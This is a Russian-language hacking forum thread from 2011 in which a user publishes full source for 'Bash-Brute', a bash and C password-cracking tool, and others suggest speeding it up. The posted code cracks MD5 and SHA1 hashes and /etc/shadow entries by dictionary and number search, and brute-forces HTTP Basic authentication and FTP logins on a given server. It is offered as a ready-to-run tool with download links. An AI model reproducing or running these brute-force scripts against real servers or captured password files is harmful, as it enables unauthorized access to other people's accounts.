Bash-Brute v0.2

Discussion in 'Безопасность и Анонимность' started by <Cyber-punk>, 27 Jun 2011.

  1. <Cyber-punk>

    <Cyber-punk> Smash the Stack

    Joined:
    1 Oct 2009
    Messages:
    658
    Likes Received:
    315
    Reputations:
    430
    Bash-Brute v0.6

    Представляю вам мой маленький скрипт - переборщик. Суть его такова - у вас есть md5-хеш, но у вас нет возможностей\времени\или просто лень заморачиваться с rainbow tables. Скрипт доскональна прост, состоит из этих функций:
    1. Перебор пароля к заданному shadow файлу,
    2. Перебор пароля по цифрам,
    3. Перебор пароля по словарю,
    4. Перебор по алгоритму sha1.
    5. Перебор к Authorization Basic!
    6. Перебор паролей к FTP серверу!
    В будущем (несколько дней) ожидается увеличение скорости и третья функция - алгоритм счетчика. Пока, его основное преимущества это работа с стандартными утилитами, входящие в основу почти любой сборки linux. Если у вас есть желание помочь, то отписываетесь здесь или стучаться ко мне. В любом случае очень рад.

    Появилась возможность перебора к FTP серверу!

    Скриншот:

    [​IMG]
    [​IMG]
    [​IMG]
    [​IMG]
    [​IMG]
    [​IMG]
    [​IMG][​IMG]

    Сам исходник последней актуальной версии (Теперь удобнее!):

    md5brute.sh
    Code:
    #!/bin/bash
    
    echo
    echo "*************************"
    echo "****Bash-Brutoforcer*****"
    echo "**created by cyber-punk**"
    echo "******and Simo2553*******"
    echo "*******version 0.6*******"
    echo "*************************"
    echo
    
    case "$1" in
    
    -http)
    	case $2 in
    	-w)	Pass="/home/cyber/passes.txt" # File with username:password lines
    	
    		cat $Pass | while read line; do
    	
    		C=`echo -n $line | base64`
    		Good=`printf "HTTP/1.1 200 OK\r\n"` # Good answer
    		Dir="/auth/index.html" # Directory or path to file were protected
    	
    		exec 3<> /dev/tcp/${3:-$3}/80
    	 
    		printf "GET $Dir HTTP/1.0\r\n" >&3
    		printf "Accept: text/html, text/plain\r\n" >&3
    		printf "Accept-Language: en\r\n" >&3
    		printf "Authorization: Basic $C\r\n" >&3
    		printf "User-Agent: cyber-punk's_BashScript v.%s\r\n" "${BASH_VERSION}" >&3
    		printf "\r\n" >&3
     
    		while read LINE <&3
    		do
    
    		   A=`echo $LINE | grep "OK"`
    	
    		if [ "$A" = "$Good" ]; then
    		echo
    		echo "Good password is - $line"
    		notify-send "Good password - $line" >> /dev/null
    		exit 1
    		else
    		echo "Bad password"
    		fi
    		
    		done
    		
    		done
    	;;
    
    	*)
    	echo "Bad Argument!"
    	echo
    	;;
    
    	esac
    ;;
    
    -ftp)
    echo "Starting FTP brutoforce..."
    echo "Server - $2"
    echo "User - $3"
    echo
    
    
    		echo -n "Loading..."; echo
    
    		X="/usr/share/dict/words"
    
    cat $X | while read line; do                     
    
    		SRV=$2
    		USR=$3
    		echo -n "Cheking - $line "
    		STR="logged"
    	
    STR2=`ftp -inv $SRV << EOF
    user $USR $line
    bye
    EOF`
    	
    	
    		for LINE in $STR2
    		do
    	
    		A=`echo $LINE | grep "logged"`
    	
    
    		if [ "$A" = "$STR" ]; then
    		echo 
    		echo
    		echo "+---------------------+"
    		echo "|Good password - $line|"
    		echo "+---------------------+"
    		notify-send "Good password - $line" >> /dev/null
    		exit 1
    		else
    		echo -n "."
    		fi
    	
    		done
    
    		
    		echo -n ".";echo
    		
    
    	done
    
    	
    ;;
    
    -md5)
    	case $2 in
    
    	-w)
    
    		X="/usr/share/dict/words" # Path to your dictionary
    	
    		cat $X | while read line; do                     
    		A=`echo "$line"`
    		B=$(echo -n $A | md5sum)
    		B=$(echo -n $B | sed s/-//g)
    		B=$(echo -n $B)
    		if [ "$B" = "$3" ]; then
    		echo 
    		echo "Good password - $A"
    		notify-send "Good password - $A" >> /dev/null
    		exit
    		else
    		echo "Bad password - $A"
    		fi
    		done
    	;;
     
    	-n)
    
    		echo
    		C=1000000000000000 # End number
    		A=0 # Start number
    		while [ $A -lt $C ]
    		do
    		A=$((1+A))
    		B=$(echo -n $A | md5sum)
    		B=$(echo -n $B | sed s/-//g)
    		B=$(echo -n $B)
    		if [ "$B" = "$3" ]; then
    		echo 
    		echo "Good password - $A"
    		notify-send "Good password - $A"
    		exit
    		else
    		echo "Bad password - $A"
    		fi
    		done
    	;;
    
    	esac
    ;;
    
    -sha)
    	case $2 in
    
    	-w)
    
    		X="/usr/share/dict/words" # Path to your dictionary
    	
    		cat $X | while read line; do                     
    		A=`echo "$line"`
    		B=$(echo -n $A | shasum)
    		B=$(echo -n $B | sed s/-//g)
    		B=$(echo -n $B)
    		if [ "$B" = "$3" ]; then
    		echo 
    		echo "Good password - $A"
    		notify-send "Good password - $A" >> /dev/null
    		exit
    		else
    		echo "Bad password - $A"
    		fi
    		done
    	;;
     
    	-n)
    
    		echo
    		C=1000000000000000 # End number
    		A=0 # Start number
    		while [ $A -lt $C ]
    		do
    		A=$((1+A))
    		B=$(echo -n $A | shasum)
    		B=$(echo -n $B | sed s/-//g)
    		B=$(echo -n $B)
    		if [ "$B" = "$3" ]; then
    		echo 
    		echo "Good password - $A"
    		notify-send "Good password - $A"
    		exit
    		else
    		echo "Bad password - $A"
    		fi
    		done
    	;;
    
    	esac
    ;;
    
    
    -i)
    echo
    echo "|---------------------------|"
    echo "|---created by cyber-punk---|"
    echo "|--------version 0.6--------|"
    echo "|--last update: 24.09.2011--|"
    echo "|-mail: [email protected]|"
    echo "|---twitter: cyberpunkych---|"
    echo "|---------------------------|"
    echo
    ;;
    
    -shadow)
    echo
    echo "Use it: $0 -b /etc/shadow "
    echo
    gcc -lcrypt -o bruteshadow bruteshadow.c
    ./bruteshadow $2
    ;;
    
    *)
    echo "Use: $0 -sha|-md5|-shadow|-http|-ftp|-i(nformation)  -w(ordlist)|-n(umbers)|server(only FTP)   hash|shadow(only for -shadow)|user(only for FTP)|site (only for -http)"
    echo
    echo "More information:"
    echo 
    echo "http - function now works only with -wordlist"
    echo "shadow - for this function you must have GCC"
    echo "ftp - FTP brutoforcer, you must enter ip and user to brute"
    echo
    exit
    esac
    
    bash-brute-gui.sh
    Code:
    #!/bin/bash
    
    echo
    echo "*************************"
    echo "****Bash-Brutoforcer*****"
    echo "**created by cyber-punk**"
    echo "******and Simo2553*******"
    echo "*******GUI version*******"
    echo "*************************"
    echo
    
    main=`zenity --entry --title="Bash-Brutoforcer GUI" --text=" Enter the one of these: \n Alhoritm: -sha, -md5 or -shadow file"`
    
    case "$main" in
    
    -md5)
    	main2=`zenity --entry --title="Bash-Brutoforcer GUI" --text=" Enter the one of these: \n Method: -n(umbers) -w(ordlist)"`
    	case $main2 in
    
    	-w)
    
    		X=`zenity --entry --title="Bash-Brutoforcer GUI" --text=" Enter the path to you dictionary:"` # Path to your dictionary
    		pass=`zenity --entry --title="Bash-Brutoforcer GUI" --text=" Enter you crypted password:"`
    
    		cat $X | while read line; do                     
    		A=`echo "$line"`
    		B=$(echo -n $A | md5sum)
    		B=$(echo -n $B | sed s/-//g)
    		B=$(echo -n $B)
    		if [ "$B" = "$pass" ]; then
    		echo 
    		echo "Good password - $A"
    		notify-send "Good password - $A" >> /dev/null
    		zenity --info --title="Bash-Brute GUI" --text="Good password - $A"
    		exit
    		else
    		echo "Bad password - $A"
    		fi
    		done
    	;;
     
    	-n)
    
    		echo
    		pass=`zenity --entry --title="Bash-Brutoforcer GUI" --text=" Enter you crypted password:"`
    		C=`zenity --entry --title="Bash-Brutoforcer GUI" --text=" Enter the end number:"` # End number
    		A=`zenity --entry --title="Bash-Brutoforcer GUI" --text=" Enter the start number:"` # Start number
    		while [ $A -lt $C ]
    		do
    		A=$((1+A))
    		B=$(echo -n $A | md5sum)
    		B=$(echo -n $B | sed s/-//g)
    		B=$(echo -n $B)
    		if [ "$B" = "$pass" ]; then
    		echo 
    		echo "Good password - $A"
    		notify-send "Good password - $A"
    		zenity --info --title="Bash-Brute GUI" --text="Good password - $A"
    		exit
    		else
    		echo "Bad password - $A"
    		fi
    		done
    	;;
    
    	esac
    ;;
    
    -sha)
    	main2=`zenity --entry --title="Bash-Brutoforcer GUI" --text=" Enter the one of these: \n Method: -n(umbers) -w(ordlist)"`
    	case $main2 in
    
    	-w)
    
    		X=`zenity --entry --title="Bash-Brutoforcer GUI" --text=" Enter the path to you dictionary:"` # Path to your dictionary
    		pass=`zenity --entry --title="Bash-Brutoforcer GUI" --text=" Enter you crypted password:"`
    	
    		cat $X | while read line; do                     
    		A=`echo "$line"`
    		B=$(echo -n $A | shasum)
    		B=$(echo -n $B | sed s/-//g)
    		B=$(echo -n $B)
    		if [ "$B" = "$pass" ]; then
    		echo 
    		echo "Good password - $A"
    		notify-send "Good password - $A" >> /dev/null
    		zenity --info --title="Bash-Brute GUI" --text="Good password - $A"
    		exit
    		else
    		echo "Bad password - $A"
    		fi
    		done
    	;;
     
    	-n)
    
    		echo
    		pass=`zenity --entry --title="Bash-Brutoforcer GUI" --text=" Enter you crypted password:"`
    		C=`zenity --entry --title="Bash-Brutoforcer GUI" --text=" Enter the end number:"` # End number
    		A=`zenity --entry --title="Bash-Brutoforcer GUI" --text=" Enter the start number:"` # Start number
    		while [ $A -lt $C ]
    		do
    		A=$((1+A))
    		B=$(echo -n $A | shasum)
    		B=$(echo -n $B | sed s/-//g)
    		B=$(echo -n $B)
    		if [ "$B" = "$pass" ]; then
    		echo 
    		echo "Good password - $A"
    		notify-send "Good password - $A"
    		zenity --info --title="Bash-Brute GUI" --text="Good password - $A"
    		exit
    		else
    		echo "Bad password - $A"
    		fi
    		done
    	;;
    
    	esac
    ;;
    
    
    -i)
    echo
    zenity --info --title="Bash-Brute GUI" --text="
    |---------------------------|\n
    |---created by cyber-punk---|\n
    |--------GUI version--------|\n
    |--last update: 16.07.2011--|\n
    |-mail: [email protected]|\n
    |---twitter: cyberpunkych---|\n
    |---------------------------|"
    echo
    ;;
    
    -shadow)
    echo
    gcc -lcrypt -o bruteshadow bruteshadow.c
    shadow=`zenity --entry --title="Bash-Brutoforcer GUI" --text=" Enter path to your shadow file:"`
    ./bruteshadow $shadow
    ;;
    
    *)
    zenity --error --title="Bash-Brutoforcer GUI" --text="Bad parameter! Try again!"
    $0
    echo
    exit
    esac
    
    bruteshadow.c
    Code:
    #include <stdio.h>
    #include <string.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <crypt.h>
    
    int main(int argc, char* argv[])
    {
      FILE *fd1, *fd2;
      char *str1, *str2;
      char *salt, *hash, *key, *key1;
      char buf[13], word[100], pass[100];
      
      if (argc != 2) {
       fprintf(stderr, "Usage: %s <file shadow>\n", argv[0]);
       exit(-1);
      }
    
      str1 = (char*)malloc(100);
      str2 = (char*)malloc(100);
    
      fd1 = fopen(argv[1], "r");
      
      fprintf(stderr, "Please, wait...\n");
      
       
      while(fgets(str1, 100, fd1) != NULL)
      {
        str2 = strstr(str1, "$1$"); 
    
        if (str2 != NULL) 
        {
          
          key = strtok(str2, ":"); 
          snprintf(pass, sizeof(pass), "%s", key);    
          printf ("pass=%s (%d)\n", pass, strlen(pass));
        
          
          strtok(key, "$");    
          salt = strtok(NULL, "$");
          hash = strtok(NULL, "\0"); 
    
            
          snprintf(buf, sizeof(buf), "$1$%s$", salt);        
        
          
          fd2 = fopen("/usr/share/dict/words", "r"); 
    
          
          while(fgets(word, 100, fd2) != NULL)
          {
            
        	(&word[strlen(word)])[-1] = '\0';
    	
    	
            key1 = crypt(word, buf);
    
    	
            if (!strncmp(key1, pass, strlen(key1))) {
              printf("OK! Password: %s\n\n", word);
    	  break;
            }
          }
        }
      }
    
      fclose(fd1);
      fclose(fd2);
      free(str1);
      free(str2);
    
      return 0;
    }
    
    GIT:

    github - Bash-Brute

    Мы на EtherPad:

    ietherpad.com
    Всех желающих принять участие в разработке прошу писать в аську!

    version 0.6:

    dropbox.com

    version 0.5:

    dropbox.com

    version 0.4:

    dropbox.com

    version 0.3:

    самораспаковывающийся архив -
    pastebay.com
    dropbox.com

    обычный архив:
    dropbox.com

    отдельные файлы:
    bruteshadow.c
    md5brute.sh

    version 0.2:

    pastebay.com
    dropbox.com
    ideone.com
     
    _________________________
    #1 <Cyber-punk>, 27 Jun 2011
    Last edited: 17 Oct 2011
    5 people like this.
  2. HIMIKAT

    HIMIKAT Elder - Старейшина

    Joined:
    12 Jan 2007
    Messages:
    2,707
    Likes Received:
    581
    Reputations:
    403
    Скорость я так понимаю не высока?
     
  3. <Cyber-punk>

    <Cyber-punk> Smash the Stack

    Joined:
    1 Oct 2009
    Messages:
    658
    Likes Received:
    315
    Reputations:
    430
    Нет, я же написал, что есть к чему стремиться.
     
    _________________________
  4. R0nin

    R0nin Member

    Joined:
    11 Jul 2010
    Messages:
    261
    Likes Received:
    24
    Reputations:
    8
    Пока будешь использовать в Bash стандартные утилити куда бы ты не стремился скорость будет низкая.
    Если бы это был какой нибудь брутфорс удаленного сервера тогда скорость работы не сильно повлияла бы,
    но для локального брута программы лучше писать на C.

    А так конечно автору +
     
    #4 R0nin, 27 Jun 2011
    Last edited: 27 Jun 2011
  5. <Cyber-punk>

    <Cyber-punk> Smash the Stack

    Joined:
    1 Oct 2009
    Messages:
    658
    Likes Received:
    315
    Reputations:
    430
    А нельзя ли средствами bash разбить перебор на несколько потоков? сейчас попробую поискать ;)
     
    _________________________
  6. R0nin

    R0nin Member

    Joined:
    11 Jul 2010
    Messages:
    261
    Likes Received:
    24
    Reputations:
    8
    Скорее на несколько процессов - run as daemon => bash>cmd &
    Понимаешь ли ты, все равно, для перебора пароля программа должна использовать все средства(время процессора),
    поэтому такую прогу лучше написать на C/C++ и с многопоточностью, конечно если процессор многоядерный,
    иначе имхо не имеет смысла создавать несколько потоков в бруте,
    чтобы процессор не терял время на их синхронизацию.
     
    #6 R0nin, 27 Jun 2011
    Last edited: 27 Jun 2011
  7. <Cyber-punk>

    <Cyber-punk> Smash the Stack

    Joined:
    1 Oct 2009
    Messages:
    658
    Likes Received:
    315
    Reputations:
    430
    Сейчас попробую переписать хоть одну функцию на C.
     
    _________________________
  8. R0nin

    R0nin Member

    Joined:
    11 Jul 2010
    Messages:
    261
    Likes Received:
    24
    Reputations:
    8
    Не уж то собираешься его переписать через system/exec** ?? :D
    Резултать будет почти аналогичный, его надо переписать так чтобы md5 вызывался как фунцкия в программе,
    т.е. подключи заголовочные файлы md5 и начни программировать,
    но вот только написать все это в одну функцию не очень хорошая идея - раздели на несколько файлов.
     
  9. <Cyber-punk>

    <Cyber-punk> Smash the Stack

    Joined:
    1 Oct 2009
    Messages:
    658
    Likes Received:
    315
    Reputations:
    430
    Я теряюсь в гугле, но не знаю, как юзать md5 в C. Это не помогло - тута
     
    _________________________
  10. R0nin

    R0nin Member

    Joined:
    11 Jul 2010
    Messages:
    261
    Likes Received:
    24
    Reputations:
    8

    Это не поможет товарищ, я же в предыдущем сообщении и написал, что если использовать system() резултать будет аналогичен.
    В Linux есть такая волшебная фунцкия crypt(), пользоватся ею очень легко даже, возвращает хеши sha/md5.
    Попробуй задать в консолe :
    man crypt


    ->update
     
    #10 R0nin, 27 Jun 2011
    Last edited: 27 Jun 2011
  11. R0nin

    R0nin Member

    Joined:
    11 Jul 2010
    Messages:
    261
    Likes Received:
    24
    Reputations:
    8
    На товарищ :

    http://www.metalshell.com/source_code/8/Crypt.html
    http://www.gnu.org/s/hello/manual/libc/crypt.html

    Посмотри, там примеры использования crypt(). Если переделаешь свою программу в C будет намного быстрее брутит.
     
    #11 R0nin, 27 Jun 2011
    Last edited: 27 Jun 2011
  12. <Cyber-punk>

    <Cyber-punk> Smash the Stack

    Joined:
    1 Oct 2009
    Messages:
    658
    Likes Received:
    315
    Reputations:
    430
    Спасибо большое, ща займусь :)
     
    _________________________
  13. <Cyber-punk>

    <Cyber-punk> Smash the Stack

    Joined:
    1 Oct 2009
    Messages:
    658
    Likes Received:
    315
    Reputations:
    430
    ОБНОВЛЕНИЕ. Написал новую функцию на C. Идёт работа над переписыванием остальных фунций и их оптимизация.
     
    _________________________
  14. krypt3r

    krypt3r Elder - Старейшина

    Joined:
    27 Apr 2007
    Messages:
    1,507
    Likes Received:
    389
    Reputations:
    101
    С течением времени код с bash плавно перейдет полностью в сишный с потоками, а CPU-брут также плавно перейдет в GPU. И будем иметь под никсами еще один брутер =)
     
  15. PabloPicasso

    PabloPicasso Banned

    Joined:
    2 Jan 2010
    Messages:
    88
    Likes Received:
    32
    Reputations:
    16
    буга..бугагашеньки!! :D
     
  16. <Cyber-punk>

    <Cyber-punk> Smash the Stack

    Joined:
    1 Oct 2009
    Messages:
    658
    Likes Received:
    315
    Reputations:
    430
    Ну-ну :)
     
    _________________________
  17. <Cyber-punk>

    <Cyber-punk> Smash the Stack

    Joined:
    1 Oct 2009
    Messages:
    658
    Likes Received:
    315
    Reputations:
    430
    Новая 4.0 версия!
     
    _________________________
    1 person likes this.
  18. <Cyber-punk>

    <Cyber-punk> Smash the Stack

    Joined:
    1 Oct 2009
    Messages:
    658
    Likes Received:
    315
    Reputations:
    430
    Обновление! Появился GUI интерфейс!!!
     
    _________________________
  19. R0nin

    R0nin Member

    Joined:
    11 Jul 2010
    Messages:
    261
    Likes Received:
    24
    Reputations:
    8
    alhorytm? :))
    algorithm на английском будет
     
  20. <Cyber-punk>

    <Cyber-punk> Smash the Stack

    Joined:
    1 Oct 2009
    Messages:
    658
    Likes Received:
    315
    Reputations:
    430
    Ну я не идеально знаю английский...)
     
    _________________________